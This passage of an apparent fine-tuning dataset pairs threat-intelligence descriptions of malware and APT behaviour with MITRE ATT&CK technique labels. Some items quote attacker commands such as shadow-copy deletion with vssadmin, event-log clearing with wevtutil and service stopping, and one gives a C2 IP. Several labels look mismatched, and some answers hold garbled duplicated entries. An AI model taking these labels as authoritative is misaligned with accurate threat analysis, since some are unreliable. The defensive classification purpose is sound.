    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain a process list from the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zebrocy has a command to delete files and directories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has automatically collected data from USB drives, keystrokes, and screen images before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoudMiner used SCP to update the miner from the C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry will attempt to determine the local network segment it is a part of."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We discovered that TeamTNT gained initial access with the Hildegard malware by executing commands on kubelets that allow anonymous access. This was achieved by accessing the kubelet’s run command API and executing commands on running containers"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services', 'T1609 - Kubernetes Exec Into Container', 'T1609 - Kubernetes Exec Into Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLEAD can harvest saved credentials from browsers such as Google Chrome, Microsoft Internet Explorer, and Mozilla Firefox."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa used Base64 encoded compressed payloads."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used VBScript to gather information about a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When one PlugX succeeds to infect a host, it then accesses to every IP address in the local network one-by-one and communicate with any connectable nodes, using one of the following protocols listed in Table 2"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At periodic offsets, the bootloader overwrites sectors of an infected host’s entire hard drive, with a message similar to the ransom note, padded with additional bytes (Figure 2"
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can upload files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 has used `cmd.exe` for archiving data and deleting files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has obfuscated code with stack strings and string encryption."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has obfuscated code using base64 and gzip compression."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This new version of SolidBit ransomware is a .NET compiled binary (Figure 7). After opening Runtime64.exe using the debugger and .NET assembly editor DnSpy, we found that this file was obfuscated"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT has the ability to collect the hostname, OS version, and OS architecture of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A technical relevant fact about this campaign is the use of Python embedded into Windows executables of the malware. There is no multi-platform support as the code is heavily Windows-oriented (use of libraries). However, we discovered several clues that the attackers prepared the infrastructure for Mac OS X and Unix victims as well. In addition to Windows components, we also found a mobile (Android) component"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can collect data from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. TEARDROP and BEACON Malware Used . Multiple SUNBURST samples have been recovered, delivering different payloads. Next it checks that HKU\\SOFTWARE\\Microsoft\\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. The credentials used for lateral movement were always different from those used for remote access. Detection Opportunity . Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The userID is encoded via a custom XOR scheme after the MD5 is calculated. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: \"\\{[0-9a-f-]{36}\\}\"||\"[0-9a-f]{32}\"||\"[0-9a-f]{16}\". Command data is spread across multiple strings that are disguised as GUID and HEX strings. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "appends a total of 64MB of garbage data to a file to deter any security products in place that may be scanning files on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "S-Type may create the file \"%HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk\", which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Here’s a python code to decode"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Campaign Code and Compile Time Correlation In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can upload files from victims' machines."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, various implants used batch scripting and `cmd.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can use the Registry for code updates and to collect credentials."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN10 has moved laterally using the Local Administrator account."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used digital certificates to deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1553 - Subvert Trust Controls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fox Kitten has searched network shares to access sensitive documents."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can disconnect previously connected remote drives."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal on Host: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using a network of VPSs and small office and home office (SOHO) routers as part of their operational infrastructure to evade detection and host C2 activity. Some of these nodes operate as part of an encrypted proxy service to prevent attribution by concealing their country of origin and TTPs."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This command will automatically set the DNS type to use for actual C2   $showconfig Uploads the current configuration of the payload to the C2   slpx:\\d+ Sets the sleep interval between outbound DNS requests   $fileUpload Downloads contents from the C2 server and writes them to a specified file    Table 3 Commands available to payload Campaign Analysis The following domains are configured within the payload to be used as C2s"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Olympic Destroyer will attempt to clear the System and Security event logs using \"wevtutil\"."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The purpose is to download and execute an additional payload hosted on a compromised website: NavRAT"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has executed the \"whoami\" command."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind can execute commands via an interactive command shell. MoonWind uses batch scripts for various purposes, including to restart and uninstall itself."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can delete shadow volumes using \"vssadmin.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used malware obtained after compromising other threat actors, such as OilRig."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used compromised email accounts to send credential phishing emails."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In our case study, approximately two minutes after Cobalt Strike activity started, a tool to enumerate an AD environment appeared on the infected host at C:\\ProgramData\\AdFind.exe."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has staged stolen data locally on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can use kernel modules to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carbon has a command to inject code into a process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy enumerates all Windows services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the trojan starts up it will attempt to install a scheduled task with the name of “Java Maintenance64” to keep itself running."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group malware can use cmd.exe to download and execute payloads and to execute commands on the system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used cmd.exe to execute commmands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used masscan to search for open Docker API ports and Kubernetes clusters. TeamTNT has also used malware that utilizes zmap and zgrab to search for vulnerable services in cloud environments."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CALENDAR malware communicates through the use of events in Google Calendar."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used Kerberos ticket attacks for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication"
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques:   SHELLCODE: The shellcode phase of this attack is unique and demonstrates the constantly advancing abilities of attackers"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The GoldMax malware was discovered persisting on networks as a scheduled task impersonating systems management software. In the instances it was encountered, the scheduled task was named after software that existed in the environment, and pointed to a subfolder in ProgramData named after that software, with a similar executable name. The executable, however, was the GoldMax implant"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service', 'T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XCSSET uses the ssh launchdaemon to elevate privileges, bypass system controls, and enable remote access to the victim."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers then attempt to gain root access to the server by setting up a local privileged user named ‘hilde’ on the host server and use it in order to connect back via SSH"
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can use advanced web injects to steal web banking credentials."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the end of the encryption process, Pay2Key will also terminate the MS SQL service using the following command net stop mssqlserver &gt; nul in order to release the files locked by the service"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has used exploitation of endpoint software, including Microsoft Internet Explorer Adobe Flash vulnerabilities, to gain execution. They have also used zero-day exploits."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents. Tools linked to Gamaredon and discussed in this blogpost are detected as variants of MSIL/Pterodo, Win32/Pterodo or Win64/Pterodo by ESET’s products. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. It also saves to disk the malicious OTM file (Outlook VBA project) that contains a macro, the malicious email attachment and, in some cases, a list of recipients that the emails should be sent to. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. Module updates . Interestingly, some of the custom tools described in Palo Alto Networks’ 2017 blogpost on Gamaredon are still being updated and in use today. C# compiler module . This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilGrab has the capability to capture video from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack can enumerate services on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
